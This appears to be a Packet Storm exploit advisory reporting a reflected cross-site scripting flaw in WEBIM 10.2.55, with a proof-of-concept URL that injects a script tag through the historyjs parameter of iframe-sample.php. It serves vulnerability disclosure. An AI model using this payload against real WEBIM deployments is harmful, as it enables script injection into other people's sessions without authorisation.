WEBIM version 10.2.55 suffers from a cross site scripting vulnerability.
34365f3d75180ddf678eedef1c7d9c415bc78469e7781ef30261acb86a365f56# Exploit Title: XSS in WEBIM <http://WEBIM.RU> web application
# Date: 10.08.2021
# Exploit Author: ASCII
# Vendor Homepage: HTTPS://WEBIM.RU
# Version: 10.2.55
# Tested on: 10.2.55
Webim messanger XSS
POC
https://[location].webim.ru/webim/iframe-sample.php?historyjs=1%27"()%26%25<acx><ScRiPt%20>alert(1)</ScRiPt>&location=test&redirected=0&webim-visitor=2&webimVisitor=1
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed